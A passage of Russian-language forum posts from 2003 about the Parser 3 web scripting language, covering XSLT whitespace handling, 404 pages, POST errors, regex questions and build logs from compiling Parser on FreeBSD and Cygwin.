Т.е. У меня есть (например) расписание автобусов, так вот мне надо выбрать отправление ближайшего автобуса..."
"16503","если бы стояла такая задача, то:\
время отправления указать в виде строки HH:MM:SS\
брать текущее время в этом же формате и искать все что попадает под ограничение \"current_time + n минут\"(уже отъехавшие не актуальны)\
информация для размышления и использования:\
[url=\"http://www.mysql.com/doc/ru/Date_and_time_functions.html\"]доки  по мускулю на русском[/url]"
"16504","ну а вдруг вы сортируете 1000000 записей, чтобы вывести первые 3, а остальные собрались выбросить?"
"16505","а если у вас есть shell доступ, можете и сами попробовать понять.\
\
[code]\
sendmail -bp\
[/code]\
скорее всего напечатает вам очередь сообщений на отправку.\
"
"16507","mail.valuehost.[b]ru[/b] наверное!!!"
"16508","Помогите разобраться с такой проблемой:\
задача тривиальна. обработать 404 ошибку. вешаем на ErrorDocument 404 /error/er404.html\
теперь начинается самое интересное, в опере все замечательно работает, а вот в ие обрабатываться не хочет. МОжет кто сталкивался?"
"16509","Нет!\
Быть не может. Это обрабатывается на стороне сервера и браузеру возвращается лишь код.\
\
Может стоит просто кэш кочистить или (Control + F5) попробывать.\
\
Какой испортил?\
Что говорит?"
"16510","вы, вероятно, видите стандартное сообщение об ошибке IE, вместо вашего текста, правильно?\
\
добавьте к вашему сообщению такой код (копирую из auto.p в поставке Parser):\
[code]\
#to fight [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
[/code]"
"16511","Спасибо. все замечательно заработало :)"
"16512","Ну когда же мы увидим, ну это которое ест мало памяти, забирает почту и т.д. новое такое и…?\
Ведь как бы апрель кончился и уже пол мая почти прошло, а его всё нет и нет…\
А ведь обещали :(((\
"
"16513","..а может уже лежат эти 2 версии?))) Просто не показаны в ссылках.\
\
надо глянуть"
"16514","мало написать код. \
нужна ещё\
* документация по изменениям: только что закончил;\
* тестирование: сейчас активно идёт.\
\
надеюсь, через недельку/другую."
"16520","valuehost.com"
"16521","Что тогда делать?"
"16522","Есть форма редактирования сообщений, которые пишут посетители [i](они имеют некоторый набор правил для форматирования текста, вроде тех, что на этом форуме, а также сохраняются все их переносы строк)[/i].\
Форма редактирования сначало представляется в виде xml, вида:\
[code]\
<redact>\
    <user>Пупкин</user>\
    <body>Все\
кролики\
и слоны -\
\
\
 мутанты</body>\
</redact>\
[/code] потом ей делается ^transform[], и получается:\
[code]\
<textarea>Все\
кролики\
и слоны -\
 мутанты\
</textarea>\
[/code] те все подряд идущие переносы строк в заменяются на один, чего не хотелось бы.\
\
При преобразовании используется [b]<xsl:preserve-space elements=\"*\"/>[/b].\
Есть догадка, что это происходит из-за тайнтинга, тогда я вставил ^untaint[as-is], перед формированием xml, и даже после вывода результатов, но ничего не помогло :(\
\
Как жить дальше?"
"16523","Вот немного инфы о проблемах с почтой вальюхоста\
\
http://www.hostforum.ru/showflat.php?Cat=&Board=fphp&Number=47791&page=0&view=collapsed&sb=5&o=&fpart=1\
\
Вообче на том форуме можно черта лысого найти."
"16524","она возникает потому, что после transform все буковки выходят чистыми, и далее перед отдачей посетителю html-я вступает в действие optimize, который плющит все пробельные символы.\
\
на этом форуме я поступаю так:\
1. перед transform в тексте сообщения меняю все пробельные символы на на что-то (например символ пробела на слово что-то типа \"прОбЭл\" и т.п.).\
2. делаю tramsform\
3. в postprocerss меняю обратно, указывая вставляемым пробельным символам нужный язык, чтобы они не оптимизировались.\
\
да, не очень удобно, но другого варианта я пока не знаю."
"16525","... этот вариант мне тоже приходил в голову, но из-за его некрасоты я  про него даже не упомянул. А тут оказывается и впрямь все плохо... Спасибо, что подтвердил догадку.\
\
Misha, может посодействуешь чтоб в новой версии, это как-то продумали. А то действительно как ложка дегтя в цистерне с пивом."
"16526","[code]\
^taint[as-is]{результат transform}\
[/code]\
не помогает?\
\
тогда убедитесь на 100%, что это не transform всё убивает, сохранив xdoc на диск."
"16527","Про ^untaint[as-is]{^transform[что-то]}\
тут такая штука не совсем преемлима, тк : страница собирается за один ^transform[], а выводить чистыми надо только данные в textarea, остальные надо оставить грязными, так что вывести чистой только часть страницы не получится.\
\
Про сохранение на диск: на диске все в порядке [i](все переносы после ^transform[] сохранены)[/i]... Эти переносы строк убивает Parser. При выводе в виде optimized-html.\
\
Моё понимание : из ^transform[] данные выходят \"чистые\" (Миша подсказал), и Парсер их оптимизирует = убирает повторяющиеся символы-разделители."
"16528","если нужно только в textarea, \
найдите <textarea...>...</textarea>, и сделайте taint[html] только текста внутри."
"16529","спасибо за совет"
"16530","Но оно не намного лучше того, которое предложил Misha v.3, тк все равно приходиться использовать ^postprocess[], для таинтинга содержимого <textarea>.\
\
А почему данные после трансформации нельзя выводить as-is, ведь один раз (перед xdoc::create) их уже пачкали?"
"16531","^taint[as-is]{transformed} и будет вам счастье.\
при условии, что пробелы, выдаваемые вам после transform вас [b]целиком[/b] устраивают.\
\
сейчас происходит обычная оптимизация, и она в подавляющем большинстве случаев нормальна.\
\
можно сделать, чтобы transformed было не clean, а as-is само, однако мне это не очень нравится: не общо."
"16532","сабмит пост-форм приводит к такой ошибке:\
\
Unhandled Exception (Debug)\
post_size(0) != content_length(133)\
\
В логе пишет такое\
[Mon May 12 17:19:25 2003] /ru/: post_size(0) != content_length(133) [<no type>]\
\
подскажите как с этим быть?"
"16533","Да, действительно, это решение мне подходит, спасибо!\
Мне почему-то крайне не хотелось этого делать раньше (какое-то подсознательное отвержение делать clean весь результат работы :), а оно оказалось тем что надо :)\
\
Только вот не понял почему выдыча результата transform как as-is (фы-шы по русски :) нарушает общность? (просто хочется понять эту общность чтоб потом использовать в рассуждениях)"
"16534",".html\
[code]\
<textarea>1  2</textarea>\
[/code]\
тут пользователь увидит один пробел между 1 и 2, поскольку этот код clean=его написал кодер.\
\
<textarea> в .xsl тоже написал кодер, посему результат transform у нас тоже clean.\
\
[b]и там и там[/b] с textarea надо что-то делать, чтобы сохранить двойные переносы.\
\
общая проблема, общее решение: покрасить в язык html.\
если есть другие идеи: давайте обсудим."
"16535","Arthur мне очень помог, только боюсь, что этого никто не заметил, пускай народ когда-нибудь найдет это сообщение по запросу на AIX .\
Возможно у этого сообщения даже появятся комментарии :)\
\
Solution there:\
http://www.parser.ru/forum/?id=16395"
"16536","Но как одно из возможных решений могу предложить (совсем не настаиваю) делать результат ^transform и так as-is.\
\
Ведь тут другая проблема возникает:\
 - либо нужно будет проходиться по всему результату ^taint'ом каждый раз, когда нужно сохранить разделители, для чего надо будет вызывать эту функцию (^taint[as-is][^transform[...]]) каждый раз;\
 - либо просто ее не вызывать если сохранять разделители не нужно, но для этого надо знать на какой странице их надо сохранять, а на какой нет ...\
\
Может переложить эту задачу на того, кто составляет [b].xsl[/b],  а as-is выводить всегда, без этого дополнительного вызова ^taint?"
"16537","Второй день не могу подставить html файл в @body_main[].\
\
$f[^file::load[text;test.html]]\
^process{^taint[$f.text]}\
\
поначалу сработало, потом самопроизвольно испортилось, получаю сообщение:\
Unhandled Exception (Debug)\
z:/home/m-fs/www/index.html(213:14): parse error, expecting `'\\n''\
exception.type=parser.compile \
-----\
либо другое в том же духе, меняются только номера строк. Когда все надоело нашел перый же SSI справочник и все встало как надо с первого раза, беда лишь в том, что в парсерные конструкции ssi внедрить нельзя. Понятность ssi по сравнению парсером навела на мысль создания скелета в парсер а реалезации всего остального в ssi. Кто может выразиться по этому поводу (желательно цензурно ;)"
"16538","вопрос спорный:\
\
часто люди не задумываюся над качеством получающегося после transform кода, и, по-умолчанию, parser им поможет. \
таких, как мне кажется, большинство."
"16539","Для получения исходного кода используем команды:\
[code]\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_0_0007 parser3\
[/code]\
\
После этого, на FreeBSD:\
[code]\
%uname -a\
FreeBSD cnst 4.8-RELEASE FreeBSD 4.8-RELEASE #16: Sun May 11 19:24:54 EDT 2003     constant@cnst:/usr/src/sys/compile/MYKERNEL  i386\
%where bison\
/usr/local/bin/bison\
%bison\
bison: no grammar file given\
%cd parser3/\
%./configure --prefix=/usr/local\
loading cache ./config.cache\
checking for a BSD compatible install... (cached) /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... (cached) yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking host system type... i386-unknown-freebsd4.8\
checking for a BSD compatible install... /usr/bin/install -c\
checking whether make sets ${MAKE}... (cached) yes\
checking for ranlib... (cached) ranlib\
checking for mawk... (cached) nawk\
checking for bison... (cached) byacc\
configure: warning: to regenerate Parser grammar YOU WOULD NEED BISON\
checking for gcc... (cached) gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... (cached) yes\
checking whether gcc accepts -g... (cached) yes\
checking for inline... (cached) inline\
checking for c++... (cached) c++\
checking whether the C++ compiler (c++  ) works... yes\
checking whether the C++ compiler (c++  ) is a cross-compiler... no\
checking whether we are using GNU C++... (cached) yes\
checking whether c++ accepts -g... (cached) yes\
configure: warning: enabling charset windows-1251\
checking for dynamic-link library extension... so\
checking for mysql client... /usr/local/lib/mysql/libmysqlclient.so\
checking for pgsql client... configure: warning: could not guess pgsql client\
checking for oracle client... configure: warning: could not guess oracle client\
checking for dlopen in -ldl... (cached) no\
checking for dlopen... (cached) yes\
checking for shl_load... (cached) no\
checking for shl_load in -ldld... (cached) no\
checking for dld_link in -ldld... (cached) no\
checking for dlerror... (cached) yes\
checking how to run the C++ preprocessor... (cached) c++ -E\
checking for ANSI C header files... (cached) yes\
checking for size_t... (cached) yes\
checking for off_t... (cached) yes\
checking for ssize_t... (cached) yes\
checking whether time.h and sys/time.h may both be included... (cached) yes\
checking for signal.h... (cached) yes\
checking for unistd.h... (cached) yes\
checking for process.h... (cached) no\
checking for stddef.h... (cached) yes\
checking for stdarg.h... (cached) yes\
checking for fcntl.h... (cached) yes\
checking for sys/stat.h... (cached) yes\
checking for io.h... (cached) no\
checking for stdio.h... (cached) yes\
checking for errno.h... (cached) yes\
checking for ctype.h... (cached) yes\
checking for math.h... (cached) yes\
checking for crypt.h... (cached) no\
checking for time.h... (cached) yes\
checking for sys/time.h... (cached) yes\
checking for stdlib.h... (cached) yes\
checking for string.h... (cached) yes\
checking for direct.h... (cached) no\
checking for setjmp.h... (cached) yes\
checking for memory.h... (cached) yes\
checking for new... (cached) yes\
checking for sys/file.h... (cached) yes\
checking for sys/locking.h... (cached) no\
checking for sys/types.h... (cached) yes\
checking for sys/select.h... (cached) yes\
checking for sys/resource.h... (cached) yes\
checking for winsock.h... (cached) no\
checking for sys/socket.h... (cached) yes\
checking for netinet/in.h... (cached) yes\
checking for arpa/inet.h... (cached) yes\
checking for netdb.h... (cached) yes\
checking for sin in -lm... (cached) yes\
checking for crypt in -lcrypt... (cached) yes\
checking for trunc... (cached) no\
checking for round... (cached) no\
checking for sign... (cached) no\
checking for flock... (cached) yes\
checking for _locking... (cached) no\
checking for fcntl... (cached) yes\
checking for lockf... (cached) yes\
checking for ftruncate... (cached) yes\
checking for getrusage... (cached) yes\
checking for gettimeofday... (cached) yes\
checking for crypt... (cached) yes\
checking for sigsetjmp... (cached) yes\
checking for siglongjmp... (cached) yes\
checking for qsort... (cached) yes\
checking for select... (cached) yes\
checking for timezone variable... no\
checking for daylight variable... no\
checking for tm_gmtoff in struct tm... yes\
checking for tm_tzadj in struct tm... no\
checking whether compiler supports pragma pack... yes\
checking for set_new_handler... yes\
updating cache ./config.cache\
creating ./config.status\
creating Makefile\
creating src/Makefile\
creating src/types/Makefile\
creating src/classes/Makefile\
creating src/classes/gd/Makefile\
creating src/classes/smtp/Makefile\
creating src/include/Makefile\
creating src/main/Makefile\
creating src/sql/Makefile\
creating src/lib/Makefile\
creating src/lib/ltdl/Makefile\
creating src/lib/pcre/Makefile\
creating src/lib/md5/Makefile\
creating src/lib/patches/Makefile\
creating src/targets/Makefile\
creating src/targets/cgi/Makefile\
creating src/targets/apache13/Makefile\
creating src/targets/apache13/hook/Makefile\
creating src/targets/apache13/p3runConfigure\
creating src/targets/isapi/Makefile\
creating etc/Makefile\
creating etc/parser3.charsets/Makefile\
creating bin/Makefile\
creating bin/auto.p.dist\
creating src/include/pa_config_auto.h\
src/include/pa_config_auto.h is unchanged\
configuring in src/lib/ltdl\
running /bin/sh ./configure  --prefix=/usr/local --enable-ltdl-convenience --cache-file=../../.././config.cache --srcdir=.\
loading cache ../../.././config.cache\
checking for a BSD compatible install... (cached) /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... (cached) yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking whether to enable maintainer-specific portions of Makefiles... no\
checking for gcc... (cached) gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... (cached) yes\
checking whether gcc accepts -g... (cached) yes\
checking for working const... (cached) yes\
checking for inline... (cached) inline\
checking for ranlib... (cached) ranlib\
checking which extension is used for shared libraries... (cached)\
checking which variable specifies run-time library path... (cached)\
checking for objdir... (cached) .libs\
checking how to run the C preprocessor... (cached) gcc -E\
checking for ANSI C header files... (cached) yes\
checking for malloc.h... (cached) no\
checking for memory.h... (cached) yes\
checking for stdlib.h... (cached) yes\
checking for stdio.h... (cached) yes\
checking for ctype.h... (cached) yes\
checking for dlfcn.h... (cached) yes\
checking for dl.h... (cached) no\
checking for dld.h... (cached) no\
checking for string.h... (cached) yes\
checking for strchr... (cached) yes\
checking for strrchr... (cached) yes\
checking whether libtool supports -dlopen/-dlpreopen... (cached) no\
checking for dlopen in -ldl... (cached) no\
checking for dlopen... (cached) yes\
checking for shl_load... (cached) no\
checking for shl_load in -ldld... (cached) no\
checking for dld_link in -ldld... (cached) no\
checking for dlerror... (cached) yes\
checking command to parse  output... (cached) no\
checking for _ prefix in compiled symbols... (cached) no\
updating cache ../../.././config.cache\
creating ./config.status\
creating config_auto.h\
config_auto.h is unchanged\
%make\
Making all in src\
Making all in include\
Making all in main\
\"Makefile\", line 233: Need an operator\
make: fatal errors encountered -- cannot continue\
*** Error code 1\
\
Stop in /usr/home/constant/parser3/parser3/src.\
*** Error code 1\
\
Stop in /usr/home/constant/parser3/parser3.\
%\
[/code]\
\
\
На cygwin (см. следующее сообщение). "
"16540","[code]\
Constantine@cn ~/parser3/parser3\
$ make\
/bin/sh ./config.status --recheck\
running /bin/sh ./configure  --enable-ltdl-convenience --no-create --no-recursion\
checking for a BSD-compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
/home/Constantine/parser3/parser3/missing: Unknown `--run' option\
Try `/home/Constantine/parser3/parser3/missing --help' for more information\
configure: WARNING: `missing' script is too old or missing\
checking for gawk... gawk\
checking whether make sets $(MAKE)... yes\
checking build system type... i686-pc-cygwin\
checking host system type... i686-pc-cygwin\
checking for a BSD-compatible install... /usr/bin/install -c\
checking whether make sets $(MAKE)... (cached) yes\
checking for ranlib... ranlib\
checking for gawk... (cached) gawk\
checking for bison... bison -y\
checking bison version... ./configure: line 2058: test: 875b\
Written by Robert Corbett and Richard Stallman: integer expression expected\
bison (GNU Bison) 1.875b\
Written by Robert Corbett and Richard Stallman (ok)\
checking for gcc... gcc\
checking for C compiler default output... a.exe\
checking whether the C compiler works... yes\
checking whether we are cross compiling... no\
checking for suffix of executables... .exe\
checking for suffix of object files... o\
checking whether we are using the GNU C compiler... yes\
checking whether gcc accepts -g... yes\
checking for gcc option to accept ANSI C... none needed\
checking for style of include used by make... GNU\
checking dependency style of gcc... none\
checking for inline... inline\
checking for g++... g++\
checking whether we are using the GNU C++ compiler... yes\
checking whether g++ accepts -g... yes\
checking dependency style of g++... none\
configure: WARNING: enabling charset windows-1251\
checking for dynamic-link library extension... dll\
checking for mysql client... configure: WARNING: could not guess mysql client\
checking for pgsql client... configure: WARNING: could not guess pgsql client\
checking for oracle client... configure: WARNING: could not guess oracle client\
checking for dlopen in -ldl... no\
checking for dlopen... yes\
checking for shl_load... no\
checking for shl_load in -ldld... no\
checking for dld_link in -ldld... no\
checking for dlerror... yes\
checking how to run the C++ preprocessor... g++ -E\
checking for egrep... grep -E\
checking for ANSI C header files... yes\
checking for sys/types.h... yes\
checking for sys/stat.h... yes\
checking for stdlib.h... yes\
checking for string.h... yes\
checking for memory.h... yes\
checking for strings.h... yes\
checking for inttypes.h... no\
checking for stdint.h... no\
checking for unistd.h... yes\
checking for size_t... yes\
checking for off_t... yes\
checking for ssize_t... yes\
checking whether time.h and sys/time.h may both be included... yes\
checking signal.h usability... yes\
checking signal.h presence... yes\
checking for signal.h... yes\
checking for unistd.h... (cached) yes\
checking process.h usability... yes\
checking process.h presence... yes\
checking for process.h... yes\
checking stddef.h usability... yes\
checking stddef.h presence... yes\
checking for stddef.h... yes\
checking stdarg.h usability... yes\
checking stdarg.h presence... yes\
checking for stdarg.h... yes\
checking fcntl.h usability... yes\
checking fcntl.h presence... yes\
checking for fcntl.h... yes\
checking for sys/stat.h... (cached) yes\
checking io.h usability... yes\
checking io.h presence... yes\
checking for io.h... yes\
checking stdio.h usability... yes\
checking stdio.h presence... yes\
checking for stdio.h... yes\
checking errno.h usability... yes\
checking errno.h presence... yes\
checking for errno.h... yes\
checking ctype.h usability... yes\
checking ctype.h presence... yes\
checking for ctype.h... yes\
checking math.h usability... yes\
checking math.h presence... yes\
checking for math.h... yes\
checking crypt.h usability... yes\
checking crypt.h presence... yes\
checking for crypt.h... yes\
checking time.h usability... yes\
checking time.h presence... yes\
checking for time.h... yes\
checking sys/time.h usability... yes\
checking sys/time.h presence... yes\
checking for sys/time.h... yes\
checking for stdlib.h... (cached) yes\
checking for string.h... (cached) yes\
checking direct.h usability... no\
checking direct.h presence... no\
checking for direct.h... no\
checking setjmp.h usability... yes\
checking setjmp.h presence... yes\
checking for setjmp.h... yes\
checking for memory.h... (cached) yes\
checking new usability... yes\
checking new presence... yes\
checking for new... yes\
checking sys/file.h usability... yes\
checking sys/file.h presence... yes\
checking for sys/file.h... yes\
checking sys/locking.h usability... no\
checking sys/locking.h presence... no\
checking for sys/locking.h... no\
checking for sys/types.h... (cached) yes\
checking sys/select.h usability... yes\
checking sys/select.h presence... yes\
checking for sys/select.h... yes\
checking sys/resource.h usability... yes\
checking sys/resource.h presence... yes\
checking for sys/resource.h... yes\
checking winsock.h usability... no\
checking winsock.h presence... yes\
configure: WARNING: winsock.h: present but cannot be compiled\
configure: WARNING: winsock.h: check for missing prerequisite headers?\
configure: WARNING: winsock.h: proceeding with the preprocessor's result\
configure: WARNING:     ## ------------------------------------ ##\
configure: WARNING:     ## Report this to bug-autoconf@gnu.org. ##\
configure: WARNING:     ## ------------------------------------ ##\
checking for winsock.h... yes\
checking sys/socket.h usability... yes\
checking sys/socket.h presence... yes\
checking for sys/socket.h... yes\
checking netinet/in.h usability... yes\
checking netinet/in.h presence... yes\
checking for netinet/in.h... yes\
checking arpa/inet.h usability... yes\
checking arpa/inet.h presence... yes\
checking for arpa/inet.h... yes\
checking netdb.h usability... yes\
checking netdb.h presence... yes\
checking for netdb.h... yes\
checking for socket in -lwsock32... yes\
checking for sin in -lm... yes\
checking for crypt in -lcrypt... yes\
checking for trunc... yes\
checking for round... yes\
checking for sign... no\
checking for flock... no\
checking for _locking... no\
checking for fcntl... yes\
checking for lockf... no\
checking for ftruncate... yes\
checking for getrusage... yes\
checking for gettimeofday... yes\
checking for crypt... yes\
checking for sigsetjmp... no\
checking for siglongjmp... no\
checking for qsort... no\
configure: error: No qsort library function.\
make: *** [config.status] Error 1\
\
Constantine@cn ~/parser3/parser3\
$ uname -a\
CYGWIN_NT-5.1 cn 1.3.22(0.78/3/2) 2003-03-18 09:20 i686 unknown unknown Cygwin\
[/code]"
"16542","[code]\
cnst# gmake\
cd . && autoconf\
aclocal.m4:394: error: m4_defn: undefined macro: _m4_divert_diversion\
aclocal.m4:34: AC_LIBLTDL_CONVENIENCE is expanded from...\
aclocal.m4:394: the top level\
gmake: *** [configure] Error 1\
cnst# gmake -v\
GNU Make 3.80\
[/code]"
"16544","В Parser по сравнению с SSI можно вставлять более умные шаблоны, которые сами что-то считают, обрабатывают и выдают результат. Когда SSI (ЫЫЩ) всего-лишь глупая статика."
"16545","и не создавай компот  из разных технологий."
"16547","Поставил. \
В httpd.conf все (кроме CharsetDisable On) написал\
Сервер перезапустил.\
пробую http://localhost/_phtml\
Вижу следующее:\
handled Exception (Debug)\
d:/oracle/ora81/apache/apache/htdocs/_test.phtml(4)\
exception.type=parser.runtime \
\
\
подскажите, пожалуйста, как быть."
"16548","Apache 1.3\
в пред. сообщении неправильно написалась ссылка (localhost/_test.phtml)"
"16550","[Tue May 13 10:43:24 2003] /_test.phtml: d:/oracle/ora81/apache/apache/htdocs/_test.phtml(3): 'trim' (void) not a method or junction, can not call it [parser.runtime]"
"16552","в [url=\"/download/utils/\"]соответствующем разделе[/url] уже очень давно лежит версия, которая этим не страдает."
"16553","Да\
я заметил\
кому надо - тот сам найдёт ответ  и соберёт\
Best Regards, Arthur  "
"16554","Спасибо\
все заработало\
\
А берем мы ее вот здесь.\
http://www.parser.ru/f/1/download/win32/parser3_3_0_0007_sp1.exe\
Входит в стандартный комплект"
"16555","и не получил ответа...\
\
отправка post форм вызывает след. ошибку:\
\
Unhandled Exception (Debug)\
post_size(0) != content_length(какое-то число)\
\
всё остальное работает...\
хостинг на freebsd. на другом таком же хостинге точно такая же конфигурация parser работает отлично. как с этим бороться???????"
"16557","Проблема выглядит вот так\
\
Unhandled Exception (Debug)\
\
/www/asha.pp.ru/html/gbook/index.html(4:1): 'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile \
\
Файл /gbook/index.html выглядит так\
\
@USE \
/classes/gbook.p \
\
@body_main[] \
Гостевая книга тестового сайта<br> \
<hr> \
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] \
\
@greeting[] \
Оставьте свой след: \
\
@body_additional[] \
Нам пишут… \
\
Еслия я убиваю строки обращающиеся к классу gbook.p в том числе и первые две строки, всё что относится к класу main начинает работать.\
\
Какие заклинания я не произнёс :) ???\
----\
Олег\
\
"
"16559","Есть строки:\
[code]\
DESIGNTIMEURL=\"[color=\"red\"]$img[/color]/Calendares_V/Rostok_Records_1.jpg\"\
DESIGNTIMEURL=\"../img/Calendares_V/Rostok_Records_1.jpg\"\
[/code]\
####################\
^text.Text.match[(DESIGNTIMEURL=\")(..|($img))\\/(\\w+)\\/(\\w+)\\/(\\w+)\\.\\w+(\")+][g]{XXXXX}\
#############\
Помогите выловить $img пытался экранировать \\$  \\W ... перебрал все варианты.......\
"
"16560","можно не отвечать. Разобрался :) Птицу забыл :("
"16562","хочешь сказать что чтобы внутри текстового файла в конце было пустое пространство?\
\
Может кто нибудь написать эту гребаную строку которую нужно ввести в auto.p и index.html чтобы все заработало. Чем больше читаю документацию тем больше запутываюсь.\
-----\
Еще один вопрос, просьба не принимать персонально.\
Выбрал парсер для разработки нового сайта почитав отзывы о легкости его освоения. Начав изучения легкости не заметил. Больше чем приспособления под свои нужды материалов первых четырех уроков не продвинулся, да и это не все работает как надо - не могу осилить базу новостных данных и обновление страниц через форму. Форум кишит разнообразными вопросами по всяким функциям парсера которые не работают или глючат. Да и обычной инстоляции под какую нибудь систему, пока не скачал денвер2 так вообще не мог заставить его работать. Внимание вопрос: если откинуть партиотическую гордость какой язык скриптования вы бы выбрали для своего сайта исходя из требований простоты, быстроты, удобства написания, универсальности, ... \
Хостер заграничный."
"16564","Parser 2 гораздо легче в освоении, полистайте его документацию, возможно он это то что вам нужно..."
"16566","Судя по сообщению об ошибке данные постом вообще не уходят. Может быть имеет смысл лезть в авто.п (главный) и пробовать там менять $LIMIT[] Больше ничего в голову не приходит. Ещё я бы спросил админа на предмет возможных ограничений. Как формулировать вопрос тоже не знаю. Не Парсером там формы сабмитяцца? Можно проверить чем нибудь ещё? Пёрл, там, пхп...?"
"16567","Сначала вопрос: какая из этих двух строчек имеет номер 213?\
\
Теперь дальше:\
1. Попробуйте убрать ^process - скорее всего он вам не нужен т.к. для подключения внешних скриптов есть оператор ^use.\
\
2. Поскольку использование любой скриптовой технологии - это программирование, то попробуйте четко сформулировать задачу и распишите алгоритм работы сайта на бумажке. И скорее всего вы поймете, что конструкции a-la INCLUDE не нужны совсем. [По крайней мере я ее ни разу не использовал ни со вторым ни с третьим Парсером] В любом случае книжка по какому-нибудь алгоритмическому языку Вам поможет.\
\
3. Порочитайте раздел примеры чуть дальше уроков, и Вы сразу найдете статью http://www.parser.ru/examples/lib/ в которой приводится код необходимого Вам метода.\
\
4. Можно поискать текст ошибки по форуму.\
\
p.s. А начинать \"гнать\" на Парсер, только потому что Вы не смогли выполнить примитивную операцию по настройке веб-сервера, просто недостойно... :("
"16568","всем остальным формы сабмитятся. я проверял php, perl 'ом. с $LIMIT[] тоже самое. короче не понятно что делать. админ не хочет этим вопросом заниматься."
"16569","не может такого быть из-за того, что имеет место быть русский апач который почему-то сам корячит приходящие запросы с POST? (что с CharsetDisable и, чем чёрт не шутит, с CharsetRecodeMultipartForms?)\
\
содержимое .htaccess?\
\
что показывает _test.html на предмет подключения файлов с кодировками (нормально обрабатывается конфигурационный auto.p)? (еще можно дать ссылку, где можно посмотреть результаты работы _test.html)\
\
как ведет себя get?\
\
можно в студию упрощенный пример, который не работает? (это после результатов теста)\
\
"
"16570",".htaccess\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
CharsetDisable	on\
#пробовал закоментарить CharsetDisable	on\
#тоже самое\
\
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files>\
\
--------------------------------------\
_test.html лежит здесь\
\
http://www.wircom.kiev.ua/ru/_test.html\
\
--------------------------------------\
get - нормально\
\
--------------------------------------\
пример: отправка любой пост-формы приводит к ошибке\
\
<form method=post>\
<input name=\"a\" value=\"1\">\
<input type=submit value=\"ok\">\
</form>"
"16571","Можно ли достаточно корректно определить сколько раз скачивали файл?"
"16572","^text.Text.match[(DESIGNTIMEURL=\")(..|($img))(\\/\\w+){3}\\.\\w+(\")+][g]{XXXXX}\
можно еще упростить, но все же лучше знать задачу..."
"16573","но по второму пункту можно поспорить.\
\
1. Почти любой язык программирования является алгоритмическим, т.е. на любом языке выражается конечная последовательность действий, которая выполняется за ограниченное число шагов. Вообщем сам термин звучит несколько академично. Тут более уместно применить термин императивный язык, который принципиально отличается от декларативного языка, коим является например SQL или XSLT.\
\
2. Конструкции include в некоторых (крайне редких случаях) могут применяться дабы снизить нагрузку на сервер, в случае гигантской посещаемости, правда товарищу это пока не грозит."
"16574","http://www.parser.ru/docs/lang/?responsedownload.htm\
\
на той странице которая выдаёт файл, и делаете счетчик"
"16575","1. В данном случае это не более, чем словестная казуистика ... :) ... Не надо человека пугать такими терминами...\
\
2. Для этих случаев гораздо эффективнее кеширование. Include эот самый примитивный способ шаблонирования, и применение его оправдано только если нет других более эффективных средств."
"16576","1. Казуистика? ладно, не суть. Дык ты бы сразу писал - ... книжку по любому языку программирования ... без слова алгоритмический :). Вообщем ты сам путать начал :) (ну вредный я, и ничего с этим сделать нельзя)\
\
2. Про кэш не подумал. Да ты прав, он в 99.999% случаев лучше. Include тогда лучше просто забыть."
"16577","Пытяюсь сделать простейший пример (что то вроде примера во 2 уроке)...\
меню второго уровня в котором сравниваеться if'ом url страницы и взависимости от того равен он или нет переменной окружения - ставятся ссылки или нет...\
\
Все казалось бы должно работать, но parser выдает ошибку :\
\
--------------------------------------------------------\
method of MAIN (MAIN) accepts maximum 3 parameter(s)\
if\
\
z:/home/mydomen.ru/www/auto.p(175)\
exception.type=parser.runtime \
\
---------------------------------------------------------\
\
код парсера:\
\
@submenu_bar[]\
$submenu[^table::load[/submenu.cfg]]\
<TD width=\"444\" valign=\"top\"><BR>\
<UL>\
   ^submenu.menu{ \
      ^submenu_cell[] \
   }\
<TD valign=\"top\" width=\"450\">\
<BR>\
\
@submenu_cell[]\
^if($submenu.uri eq $request:uri){\
\
<LI class=\"main\"><FONT face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"2\">&nbsp<nobr>$submenu.name</nobr>\
</FONT></LI>\
\
}{\
\
<LI class=\"main\"><FONT face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"2\">&nbsp;<a href=\"$submenu.uri\"><nobr>$submenu.name</nobr></a>\
</FONT></LI>\
\
}\
\
Не могу понять в чем дело - ведь код почти не отличается от кода во втором уроке.\
"
"16580","Помогите с ошибкой разобраться: \
method of MAIN (MAIN) accepts maximum 0 parameter(s)\
"
"16581","Спасибо всем уже разобрался. Дело было в хранимой процедуре"
"16582","Ситуация такая:\
Тяну файлы с инфой с другого сервера Перлом. Делаю mirror.\
Потом обрабатываю их Парсером.\
Так вот, некоторые файлы сохраняются с названием на русском.\
Как Парсер заставить понимать русский?\
\
Допустим в каталоге есть файл \"Классик.txt\".\
Пишу явно ^if(-f \"Классик.txt\"){yes;no}\
Выдает \"no\". С англйскими именами все в порядке.\
\
Может быть есть еще какой-то вариант (только полностью на Перл переходить\
не предлагайте :)"
"16583","Может быть, у вас имена файлов в koi-8, а скрипты парсера в win-1251?"
"16584","Да данный запрос не для этого.\
Допустим нада почистить польхователя. Материться он или еще чтонить. Дак вот чтобы 10 его последних сообщений стали невидимыми. Вот для етого етот запрос и предназначен.\
воть"
"16585","Добрый день товарищи по каким-либо несчастьям!\
Помогите найти бесплатный хостинг под Парсер 3.0."
